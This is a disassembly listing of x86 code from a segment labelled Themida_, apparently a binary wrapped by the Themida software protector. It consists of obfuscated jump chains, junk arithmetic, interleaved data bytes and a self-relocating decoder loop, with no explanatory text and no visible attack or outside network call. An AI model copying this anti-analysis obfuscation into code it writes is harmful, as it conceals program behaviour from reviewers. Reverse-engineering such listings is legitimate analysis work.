		pop	ebx
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_592700
; ---------------------------------------------------------------------------
		dd 33241C31h, 895C241Ch, 0B850242Ch, 69EE26AEh,	5358C589h
		dd 0EE2AAFBBh, 8BDD2969h, 0E955241Ch, 0FFFFB9C5h, 1628BD55h
		dd 0E5C140A2h, 4DDDF703h, 0C581EDD1h, 97C0C687h, 6929B951h
		dd 0ACE92603h, 81FFFFB3h, 704E02C1h, 59CD0100h,	5E08950h
		dd 4, 8704E883h, 895C2404h, 74FF242Ch, 8F5D0424h, 248B2404h
		dd 722DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597716:				; CODE XREF: Themida_:0058AD59j
					; Themida_:0058DA6Cj
		push	ebp
		mov	ebp, 0BDD2D65h
		push	edx
		mov	edx, 7F5B4B7Ch
		sub	ebp, edx
		pop	edx
		shl	ebp, 3
		inc	ebp
		jmp	loc_58A653
; ---------------------------------------------------------------------------


loc_59772E:				; CODE XREF: Themida_:0058A7A3j
		push	5538h
		mov	[esp], ecx
		push	351h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_59774E:				; CODE XREF: Themida_:005921ACj
		add	edi, 0BA956216h
		add	ecx, edi
		jmp	loc_5955FB
; ---------------------------------------------------------------------------


loc_59775B:				; CODE XREF: Themida_:0058F68Ej
		mov	edx, esp
		jmp	loc_58E40C
; ---------------------------------------------------------------------------
		dw 0E688h
		dd 0FF975FE9h, 48F305FFh, 84E958BFh, 50FFFF52h,	0FFC67FE9h
		dd 334E68FFh, 34FF6F25h, 0C4815F24h, 4,	0FF4496E9h, 5CE9ADFFh
		dd 1FFFF97h, 0C1835AD1h, 240C8704h, 0FF24248Bh,	2BE92434h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5977A7:				; CODE XREF: Themida_:0058C077j
		push	eax
		jmp	loc_5909B4
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 71h
		dd 148BD788h, 0D653E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5977BA:				; CODE XREF: Themida_:0058D1B5j
		pop	ecx
		add	ebp, esi
		pop	esi
		jmp	loc_58A314
; ---------------------------------------------------------------------------


loc_5977C3:				; CODE XREF: Themida_:00592D6Aj
		mov	al, ch
		mov	dh, al
		pop	eax
		pop	cx
		push	3725h
		mov	[esp], ecx
		jmp	loc_595431
; ---------------------------------------------------------------------------
		db 0FFh
a4Xhcm		db '4$Xh—M',0
		align 10h
		dd 53243489h, 0FFE4CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5977E9:				; CODE XREF: Themida_:0058CB9Fj
		xor	al, bl
		pop	ebx
		push	edx
		jmp	loc_58B499
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5875546Eh, 6ABAC681h, 0F6814C5Dh, 0A0C09E4h,	34E9F789h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59780B:				; CODE XREF: Themida_:005957DEj
		mov	eax, 58E8317Dh
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	eax, ecx
		jmp	loc_591B02
; ---------------------------------------------------------------------------


loc_59781D:				; CODE XREF: Themida_:0058C7F4j
		jns	loc_58AC17
		shr	al, 7
		shr	al, 3
		jp	loc_58DB8E
		xor	al, 0F6h
		push	ebx


loc_597832:				; CODE XREF: Themida_:00594C11j
		mov	ebp, edx
		pop	edx
		add	ebp, 691A0145h
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		jmp	loc_58FE14
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 8Bh
		dd 0C481240Ch, 4, 0C681CE01h, 1F5F5151h, 0E9525059h, 0FFFF2B04h
; ---------------------------------------------------------------------------


loc_597864:				; CODE XREF: Themida_:0058E603j
		shl	bl, 6
		add	bl, 0FFh
		neg	bl
		inc	bl
		push	cx
		mov	ch, 70h
		add	ch, 11h
		jge	loc_58E514
		dec	ch
		jo	loc_593F18
		or	ch, 9Dh
		push	ebx
		inc	ebx
		jmp	loc_597C65
; ---------------------------------------------------------------------------


loc_59788D:				; CODE XREF: Themida_:00591B11j
		shr	ebx, 8
		dec	ebx
		sub	ebx, 20D22126h
		add	eax, ebx
		pop	ebx
		push	eax
		pop	edx
		pop	eax
		sub	edx, 6296FF7h
		add	edx, 174149EFh
		jmp	loc_58E20E
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 81242489h, 42404h, 55580000h, 1F0D3CBDh, 8EDC148h
		dd 0DDF7D5F7h, 0E0F6C581h, 0E801FFB7h, 0FF4023E9h, 81E789FFh
		dd 4C7h, 74626800h, 2C890000h, 51E58924h, 0FE2404B9h, 0ED20E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5978F6:				; CODE XREF: Themida_:0058AF76j
		mov	ebp, 33004E0h
		sub	ebx, ebp
		pop	ebp
		and	ebx, 43056AC2h
		xor	ebx, 219D6319h
		jmp	loc_58B146
; ---------------------------------------------------------------------------
		db 81h
		dd 0F257F4C3h, 0E9D98975h, 0FFFF3C0Dh
; ---------------------------------------------------------------------------


loc_59791C:				; CODE XREF: Themida_:00597ADBj
		jmp	loc_58F72F
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 81h
		dd 0AA6E21E9h, 0E9515817h, 0FFFF5AD0h, 0DDEE815Dh, 0E965CE6Bh
		dd 192h, 0F801A705h, 0DD2D401Fh, 81A3CBDEh, 597FC2C7h
		dd 0FBEF8111h, 29241B1Ah, 0FBC781C7h, 50241B1Ah, 0FF7E31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597961:				; CODE XREF: Themida_:0058FB79j
					; Themida_:0058FE3Cj ...
		pop	ebp
		add	edx, eax
		jmp	loc_5915ED
; ---------------------------------------------------------------------------


loc_597969:				; CODE XREF: Themida_:loc_58EDDFj
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_592FE8
; ---------------------------------------------------------------------------


loc_597974:				; CODE XREF: Themida_:0058B376j
		add	ebp, 83ABD5A8h
		or	ebp, 782F01D4h
		add	ebp, 28EC676Dh
		jmp	loc_58B3FA
; ---------------------------------------------------------------------------


loc_59798B:				; CODE XREF: Themida_:00594359j
		pop	ebp
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	6EB9h
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_595E16
; ---------------------------------------------------------------------------
		dd 335B8D0Fh, 0E6E9FFFFh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5979AF:				; CODE XREF: Themida_:005952DDj
		pop	dword ptr [esp]
		jmp	loc_58CFF1
; ---------------------------------------------------------------------------


loc_5979B7:				; CODE XREF: Themida_:00595203j
		mov	ebx, 0CF156FEh
		not	ebx
		or	ebx, 35813180h
		jmp	loc_590C4B
; ---------------------------------------------------------------------------


loc_5979C9:				; CODE XREF: Themida_:0058C95Ej
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_58C233
; ---------------------------------------------------------------------------
		dw 8B25h
		dd 0E918D747h, 0FFFF5C85h, 0D1F7D9F7h, 0FF7394E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5979E5:				; CODE XREF: Themida_:0058C722j
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5979F6:				; CODE XREF: Themida_:00593D1Cj
		add	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_5929C8
; ---------------------------------------------------------------------------
		dd 656DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597A0A:				; CODE XREF: Themida_:0058BAE7j
		shr	edx, 1
		jmp	loc_58CA07
; ---------------------------------------------------------------------------
		db 66h,	81h, 0EEh
		dd 816612D0h, 662D95C6h, 835EF001h, 3C8904ECh, 0BFBF6624h
		dd 0C7836653h, 0B1E95101h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597A33:				; CODE XREF: Themida_:00592FD1j
		sub	ebx, 8EAED420h
		xor	ebp, ebx
		pop	ebx
		shr	ebp, 1
		shl	ebp, 5
		sub	ebp, 646B57E5h
		sub	eax, 473D23E6h
		add	eax, ebp
		add	eax, 473D23E6h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebx
		jmp	loc_597BB1
; ---------------------------------------------------------------------------


loc_597A63:				; CODE XREF: Themida_:0058F7F1j
		pop	ebx
		or	eax, eax
		jz	loc_58E839
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5920D4
; ---------------------------------------------------------------------------


loc_597A80:				; CODE XREF: Themida_:0059444Dj
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_595E0B
; ---------------------------------------------------------------------------
		db 89h
		dd 0F0B82404h, 2568D853h, 2BAE4E54h, 77244625h,	44BD5506h
		dd 31000000h, 0EE815DE8h, 1A084B09h, 0C681C601h, 1A084B09h
		dd 0FFA15EE9h, 5EF201FFh, 3571D02Dh, 87E4E90Ah,	0F101FFFFh
		dd 0FFA456E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597AD5:				; CODE XREF: Themida_:00591FB4j
		and	ecx, 2193139h
		ja	loc_59791C
		jmp	loc_58EAEC
; ---------------------------------------------------------------------------
		dw 0C129h
		dd 5038F180h
; ---------------------------------------------------------------------------


loc_597AEC:				; CODE XREF: Themida_:0058EAF6j
		push	esi
		push	ebx
		mov	ebx, 1B3F7A77h
		jmp	loc_58A3B9
; ---------------------------------------------------------------------------
		dd 2474FF50h, 48F5804h,	24248B24h, 240C8B66h, 53E18951h
		dd 7F3567BBh, 53EB8106h, 0C16CD638h, 0F74B05EBh, 0FBAAE9DBh
		dd 4566FFFFh, 0FFE541E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597B29:				; CODE XREF: Themida_:0058F6ACj
		add	ebx, edx
		pop	edx
		push	17EAh
		mov	[esp], eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 68h,	8Ch, 8
		dd 0C0E90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597B43:				; CODE XREF: Themida_:00590C6Ej
		push	edi
		mov	edi, 2A6A22E5h
		mov	ebp, edi
		pop	edi
		add	ebp, 78C266EDh
		jmp	loc_58F47E
; ---------------------------------------------------------------------------


loc_597B57:				; CODE XREF: Themida_:00597126j
		xor	eax, 46551346h
		push	esi
		mov	esi, 0BC77E41h
		sub	eax, esi
		pop	esi
		push	esi
		mov	esi, 5C1726F7h
		xchg	ecx, esi
		dec	ecx
		xchg	ecx, esi
		jmp	loc_596508
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0F5h
		dd 4923AB31h, 97DAE981h, 0CB01ABEFh, 4C38359h, 5C241C87h
		dd 0C33F381h, 0F3E9C656h, 66FFFFD5h, 0EDEEC581h, 0EF896657h
		dd 5FFE8966h, 132D665Dh, 0F0296625h, 0FF9CE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597BB1:				; CODE XREF: Themida_:00597A5Ej
		sub	eax, 6FBA703Bh
		push	esi
		push	edx
		mov	edx, 774A1DAAh
		xchg	ecx, edx
		add	ecx, 0FFFFFFFFh
		xchg	ecx, edx
		push	ecx
		jmp	loc_58E8BC
; ---------------------------------------------------------------------------


loc_597BCD:				; CODE XREF: Themida_:0058ECE7j
		or	eax, 55040E58h
		neg	eax
		xor	eax, 1AA1A10h
		push	ebp
		mov	ebp, 0A341ABB1h
		xor	eax, ebp
		mov	ebp, [esp]
		jmp	loc_58E296
; ---------------------------------------------------------------------------


loc_597BE9:				; CODE XREF: Themida_:00591692j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5942C0
; ---------------------------------------------------------------------------


loc_597BF9:				; CODE XREF: Themida_:0058E585j
		sub	edi, 4
		jmp	loc_58B77F
; ---------------------------------------------------------------------------
		dd 24343166h, 4EC8351h,	0E9242489h, 0FFFFF4A2h
; ---------------------------------------------------------------------------


loc_597C14:				; CODE XREF: Themida_:00594698j
		add	ebp, 47FD63F7h
		add	ebp, eax
		sub	ebp, 47FD63F7h
		add	ebp, 4F3A6CB6h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59153E
; ---------------------------------------------------------------------------
aVhm		db 'Vhm|',0
		dd 38B1E900h, 0CB30FFFFh, 0FF3F69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597C49:				; CODE XREF: Themida_:00595BE3j
		add	esp, 4
		push	esi
		jmp	loc_58A45D
; ---------------------------------------------------------------------------


loc_597C55:				; CODE XREF: Themida_:0059654Bj
		sub	eax, 4FC95A1Eh
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_592BDB
; ---------------------------------------------------------------------------


loc_597C65:				; CODE XREF: Themida_:00597888j
		or	ebx, 1FA147B2h
		shr	ebx, 1
		jmp	loc_58C1AC
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 2BD55h, 0E9010000h, 0FFEB26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597C85:				; CODE XREF: Themida_:005911ADj
		mov	edx, 31B152B2h
		add	ecx, edx
		pop	edx
		jmp	loc_58CFC1
; ---------------------------------------------------------------------------


loc_597C92:				; CODE XREF: Themida_:005945CBj
		jnz	loc_59089C
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		jmp	loc_592BA1
; ---------------------------------------------------------------------------


loc_597CA5:				; CODE XREF: Themida_:0058EBC6j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	edx, 2
		sub	esp, 4
		jmp	loc_58C0D8
; ---------------------------------------------------------------------------


loc_597CBB:				; CODE XREF: Themida_:0058BF3Aj
		sub	ecx, 1A3025A4h
		mov	[ecx], al
		jmp	loc_5916BC
; ---------------------------------------------------------------------------


loc_597CC8:				; CODE XREF: Themida_:0058B935j
		jbe	loc_58B3F5
		jmp	loc_58D612
; ---------------------------------------------------------------------------
		db 68h
		dd 6ACC00F7h, 0D3F74B5Bh, 0E908EBC1h, 0FFFFE05Eh
; ---------------------------------------------------------------------------


loc_597CE4:				; CODE XREF: Themida_:005916C6j
		mov	eax, 42AE666Eh
		mov	ebp, 0E05A776h
		add	ebp, eax
		pop	eax
		jmp	loc_592972
; ---------------------------------------------------------------------------


loc_597CF6:				; CODE XREF: Themida_:0058A84Aj
		jno	loc_58D6C5
		xor	ebp, 347A4849h
		jno	loc_594719
		sub	ebp, 4291057Dh
		jmp	loc_5921D8
; ---------------------------------------------------------------------------
		db 80h
		dd 0CC8831E9h, 0CEE95159h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597D1F:				; CODE XREF: Themida_:005969FEj
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	ebp
		mov	ebp, 5750E80h
		jmp	loc_58F172
; ---------------------------------------------------------------------------


loc_597D35:				; CODE XREF: Themida_:0058C3A3j
		mov	[esp], bx
		push	eax
		mov	al, 26h
		mov	bl, al
		pop	eax
		push	eax
		jmp	loc_594048
; ---------------------------------------------------------------------------


loc_597D45:				; CODE XREF: Themida_:00596715j
		pop	eax
		add	ebp, 1
		shl	ebp, 2
		push	ecx
		jmp	loc_58E5C6
; ---------------------------------------------------------------------------


loc_597D55:				; CODE XREF: Themida_:00594151j
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 3F591169h
		xchg	eax, ebp
		jmp	loc_58E22C
; ---------------------------------------------------------------------------


loc_597D69:				; CODE XREF: Themida_:0058B234j
		jnp	loc_58AC50
		shl	esi, 2
		jmp	loc_5938EF
; ---------------------------------------------------------------------------


loc_597D77:				; CODE XREF: Themida_:005949CEj
		mov	[esp], eax
		push	7E2Bh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58C50F
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFC459h, 83C38166h, 0C3016635h, 83EB8166h
		dd 66A3E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597DA6:				; CODE XREF: Themida_:00592364j
		add	ebx, 2D747446h
		push	edx
		jmp	loc_58EF5A
; ---------------------------------------------------------------------------


loc_597DB2:				; CODE XREF: Themida_:0058EDEBj
		mov	edi, 413D2EFBh
		jmp	loc_58D883
; ---------------------------------------------------------------------------
		dd 782C6866h, 81665966h, 0F21C9E9h, 0FFE4CE82h,	0C18166FFh
		dd 8966CA32h, 240C8BCDh, 6604C483h, 8B66EB29h, 0C481242Ch
		dd 2, 0E9C0B70Fh, 0FFFF8ED9h, 0FF24D9E9h, 0EAD14AFFh, 7548CA81h
		dd 0DAF742ABh, 0FFB968E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597E05:				; CODE XREF: Themida_:0058E21Cj
		xchg	edx, [esp]
		pop	esp
		push	3775h
		jmp	loc_594DE0
; ---------------------------------------------------------------------------


loc_597E13:				; CODE XREF: Themida_:005927ACj
		push	6524558Ch
		pop	edx
		jmp	loc_594B2B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 5153240Ch, 0EF88CFB5h,	0E9240C8Bh, 0FFFFBCD1h
; ---------------------------------------------------------------------------


loc_597E38:				; CODE XREF: Themida_:0058BC7Ej
		mov	[esp], edi
		mov	edi, 66FD314Fh
		jmp	loc_5903B3
; ---------------------------------------------------------------------------


loc_597E45:				; CODE XREF: Themida_:00594B59j
		mov	esi, 281138E9h
		shl	esi, 1
		inc	esi
		jmp	loc_58DED8
; ---------------------------------------------------------------------------


loc_597E52:				; CODE XREF: Themida_:00593888j
		sub	ebp, 159F6B74h
		pop	edx
		shr	ebp, 5
		sub	ebp, 35305ABh
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58FF50
; ---------------------------------------------------------------------------


loc_597E6D:				; CODE XREF: Themida_:005951EFj
		mov	ebx, 3D053847h
		mov	ebp, ebx
		pop	ebx
		mov	edx, 3D053849h
		jmp	loc_58CF65
; ---------------------------------------------------------------------------


loc_597E7F:				; CODE XREF: Themida_:0058A56Bj
					; Themida_:0059054Bj
		shl	edx, 1
		push	ebp
		mov	ebp, 1
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		push	edx
		jmp	loc_58C8DB
; ---------------------------------------------------------------------------


loc_597EAB:				; CODE XREF: Themida_:0058DD33j
		xor	esi, 55980443h
		add	eax, esi
		jmp	loc_596ADA
; ---------------------------------------------------------------------------
		dd 9C2404D2h, 0FF240DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597EC1:				; CODE XREF: Themida_:0058F106j
		push	ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 54h,	59h, 0E9h
		dd 0FFFF6DB2h
; ---------------------------------------------------------------------------


loc_597ED0:				; CODE XREF: Themida_:005963BEj
		not	dh
		dec	dh
		sub	dh, 23h
		jmp	loc_58BD84
; ---------------------------------------------------------------------------
		dd 66E953ADh, 66FFFF2Fh, 6605E2C1h, 0E903E2C1h,	0FFFFEF98h
		dd 8106E7C1h, 0F721FECFh, 81E7D17Ch, 0FA646CC7h, 0FF7817Ch
		dd 312159D0h, 243C8BFEh, 4C481h, 0F5290000h, 0E924348Bh
		dd 0FFFFF5EAh, 1676C181h, 830F3EE9h, 0FFFF6EF0h, 0CBABE941h
		dd 0E680FFFFh, 83EF8BA5h, 0C8E904ECh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597F3B:				; CODE XREF: Themida_:00595CEEj
		push	dword ptr [esp]
		jmp	loc_5969BC
; ---------------------------------------------------------------------------


loc_597F43:				; CODE XREF: Themida_:0059549Bj
		pop	edi
		add	eax, 44230C85h
		sub	eax, esi
		sub	eax, 44230C85h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_596CC1
; ---------------------------------------------------------------------------


loc_597F61:				; CODE XREF: Themida_:00596FF0j
		mov	dl, al
		pop	eax
		neg	dl
		jmp	loc_58A82E
; ---------------------------------------------------------------------------


loc_597F6B:				; CODE XREF: Themida_:0058ACC5j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dd 0E9B2EE80h, 0FFFF36F7h
; ---------------------------------------------------------------------------


loc_597F78:				; CODE XREF: Themida_:0058CA42j
		not	eax
		inc	eax
		sub	eax, 0BA73FD3Eh
		add	esi, eax
		pop	eax
		push	edx
		mov	edx, 6CCA5E18h
		sub	edx, 0D575D43h
		and	esi, edx
		pop	edx
		jmp	loc_59440A
; ---------------------------------------------------------------------------


loc_597F97:				; CODE XREF: Themida_:0059127Bj
		sub	ebx, 26473568h
		sub	ebx, ecx
		jmp	loc_58AFD0
; ---------------------------------------------------------------------------


loc_597FA4:				; CODE XREF: Themida_:0058D5B9j
		pop	ecx
		add	edi, ecx
		add	edi, 66FE2553h
		push	eax
		jmp	loc_593BE4
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFBF72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597FB9:				; CODE XREF: Themida_:00590F89j
		add	esi, 117B0109h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_595962
; ---------------------------------------------------------------------------


loc_597FCA:				; CODE XREF: Themida_:0058B12Dj
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edi, 1FF7741Eh
		jnz	loc_59703D
		sub	edi, 0C0E3F7C9h
		jmp	loc_592777
; ---------------------------------------------------------------------------
		db 31h
		dd 66A0E9F0h, 94B0FFFFh, 50C38853h, 0C688D888h,	4E95B58h
		dd 87FFFFECh, 0E95C242Ch, 0FFFF737Eh
; ---------------------------------------------------------------------------


loc_598018:				; CODE XREF: Themida_:00590B5Bj
		pop	ebx
		push	esi
		jmp	loc_58E5EE
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2414h, 0FFFFDE2Ah
; ---------------------------------------------------------------------------


loc_598028:				; CODE XREF: Themida_:0058F895j
		sub	esp, 4
		jmp	loc_596914
; ---------------------------------------------------------------------------


loc_598030:				; CODE XREF: Themida_:005958EBj
		push	4811h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 58A13B59h
		sub	ebx, 51711A3Bh
		sub	ebx, 730211Ah
		add	eax, ebx
		jmp	loc_58CBDC
; ---------------------------------------------------------------------------


loc_59805F:				; CODE XREF: Themida_:00590CC4j
		pop	ecx
		jmp	loc_58C5DA
; ---------------------------------------------------------------------------
		dd offset dword_5F28CC
		dd offset byte_5BA363
		dd offset aVs+3
		db 4Ch,	0FFh, 12h
		dd 90EB9400h, 74248B7Ch, 0F8h, 21300h, 200h, 100h, 300h
		dd 74248B00h, 0F8h, 4 dup(0)
		dd 5A8DB400h, 59897200h, 598DD600h, 59999300h, 5AA2DD00h
		dd 5A122500h, 5A025B00h, 59B09F00h, 59965D00h, 5A0C3200h
		dd 59DDD000h, 5A648400h, 599A5200h, 59EEF500h, 5A924A00h
		dd 5AB33D00h, 5AC46D00h, 5A26C300h, 599B1A00h, 5A4D1F00h
		dd 5A08DA00h, 5A96B400h, 5A7DC800h, 5A0B0100h, 5AE43D00h
		dd 5AE99C00h, 5A479200h, 59BF6900h, 5A983000h, 59907400h
		dd 5A7B4D00h, 5A1E6100h, 5A18C100h, 5A2C9500h, 5A6B7500h
		dd 5A404A00h, 5ABF7A00h, 5A6F8D00h, 5A942C00h, 59AD8B00h
		dd 5A529500h, 59F43D00h, 5A970900h, 59AB1B00h, 5A3FD800h
		dd 5A29D000h, 5990EA00h, 5A239200h, 5A0B4800h, 59D4C200h
		dd 59E89A00h, 5A3FBB00h, 5A662B00h, 5AD15F00h, 5A490900h
		dd 59D03100h, 5A5E2200h, 59B00A00h, 5A50E000h, 5A8E3100h
		dd 5AE58400h, 59B08400h, 59BC7800h, 5AE9BC00h, 5A089500h
		dd 5A671400h, 5AB7ED00h, 5A7C3F00h, 5ADD9800h, 59AE7A00h
		dd 5A8C5000h, 59B19D00h, 59E07900h, 5A6BCB00h, 59E2FC00h
		dd 5ADC3600h, 5A88AA00h, 5A2D0300h, 5AC80F00h, 5A00EB00h
		dd 5985E200h, 59C24000h, 5AA68400h, 5AC75F00h, 5A161300h
		dd 59A14B00h, 59A06D00h, 599A7800h, 5A397900h, 5A5DBE00h
		dd 5A758C00h, 5AF32100h, 5A60F600h, 59B2F900h, 5AA4DF00h
		dd 59F4EC00h, 5A190D00h, 5995C600h, 5A03EE00h, 5A60D600h
		dd 5A9C9B00h, 5A03B400h, 59C63F00h, 59E8C100h, 5AD60900h
		dd 5A563600h, 59A1B700h, 5AE30700h, 59D05000h, 59C66C00h
		dd 5A56F200h, 5AA09B00h, 5A3B2500h, 5A9CDB00h, 5A350900h
		dd 5ADC1200h, 59C8DF00h, 5AE81600h, 5ABD6100h, 5A6D9500h
		dd 59AE7400h, 5A4DF700h, 5AA2A200h, 5AD1C100h, 5AAA3C00h
		dd 5A098300h, 5A466200h, 5A474900h, 5ADA7800h, 5A2BE800h
		dd 5AE52F00h, 5A1BDA00h, 5AB85400h, 5AC66C00h, 5A92A300h
		dd 5A535700h, 59D52000h, 5A4D9500h, 5AADE600h, 59D64000h
		dd 5A2B1700h, 5ADDFD00h, 59C5D500h, 5A813F00h, 59C88E00h
		dd 59ED8E00h, 5ABFE500h, 5A92C000h, 5A906500h, 5A10C600h
		dd 59CFCE00h, 5A8C9400h, 5A0CC100h, 59C4E800h, 5A2B2500h
		dd 59DEB700h, 5AE08A00h, 59CF7000h, 5A9FA100h, 5A14AD00h
		dd 5AE75F00h, 59BF8800h, 5A66E100h, 5AF01B00h, 5A522500h
		dd 5AC40E00h, 5A976300h
		db 0
; ---------------------------------------------------------------------------


loc_598345:				; CODE XREF: Themida_:005E1128j
					; Themida_:005E5D8Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E55EC2h
		mov	eax, edi
		add	edi, 7E55BDAh
		cmp	eax, [edi+2Ch]
		jnz	short loc_598363
		jmp	short loc_598376
; ---------------------------------------------------------------------------


loc_598363:				; CODE XREF: Themida_:0059835Fj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_598372
; ---------------------------------------------------------------------------


loc_59836D:				; CODE XREF: Themida_:00598374j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_598372:				; CODE XREF: Themida_:0059836Bj
		or	ecx, ecx
		jnz	short loc_59836D


loc_598376:				; CODE XREF: Themida_:00598361j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_598383:				; CODE XREF: Themida_:0059838Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_598383


loc_59838C:				; CODE XREF: Themida_:0059867Dj
					; Themida_:00598780j ...
		lodsb
		add	al, 0E5h
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 5
		mov	cl, 0C4h
		sub	cl, bh
		pop	ebx
		shl	cl, 3
		jz	loc_598893
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		jmp	loc_599B67
; ---------------------------------------------------------------------------


loc_5983B3:				; CODE XREF: Themida_:0059B013j
		push	99E6F38h
		pop	ebx
		jmp	loc_5A7870
; ---------------------------------------------------------------------------
		dw 36E9h
		db 2Fh,	1, 0
; ---------------------------------------------------------------------------


loc_5983C3:				; CODE XREF: Themida_:005A3D72j
		push	ecx
		mov	ecx, 0AD80098h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 3C5E13CCh
		sub	ebx, edi
		push	esi
		mov	esi, 3C5E13CCh
		sub	ebx, esi
		pop	esi
		add	ebx, 0AD80098h
		pop	edi
		add	edx, 9371432h
		add	edx, ebx
		sub	edx, 9371432h
		pop	ebx
		add	edx, 4
		jmp	loc_59FC9B
; ---------------------------------------------------------------------------
		db 81h
		dd 77500BC9h, 0EBF1816Ch, 897FFF71h, 4FE959CEh
		db 3Ch,	1, 0
; ---------------------------------------------------------------------------


loc_59840F:				; CODE XREF: Themida_:005A2063j
		mov	[esp], ecx
		push	esi
		mov	esi, 7EA74940h
		dec	esi
		jle	loc_5AED46
		xor	esi, 0A820A029h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 20F5695Dh
		sub	eax, 3B441546h
		sub	eax, esi
		jmp	loc_5AC089
; ---------------------------------------------------------------------------


loc_598442:				; CODE XREF: Themida_:005A59ECj
		mov	eax, 6FBE0273h
		xor	edi, eax
		jmp	loc_5A097D
; ---------------------------------------------------------------------------


loc_59844E:				; CODE XREF: Themida_:005A0C62j
		pop	ebx
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebp, esi
		pop	esi
		jmp	loc_59BFAE
; ---------------------------------------------------------------------------
		dw 487h
		dd 14895C24h, 4A2BE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59846E:				; CODE XREF: Themida_:0059A293j
		push	eax
		mov	al, 10h
		dec	al
		neg	al
		neg	al
		dec	al
		shr	al, 3
		add	al, 66h
		add	bh, 4Ah
		push	eax
		mov	al, 0E0h
		sub	bh, al
		pop	eax
		add	bh, al
		add	bh, 0E0h
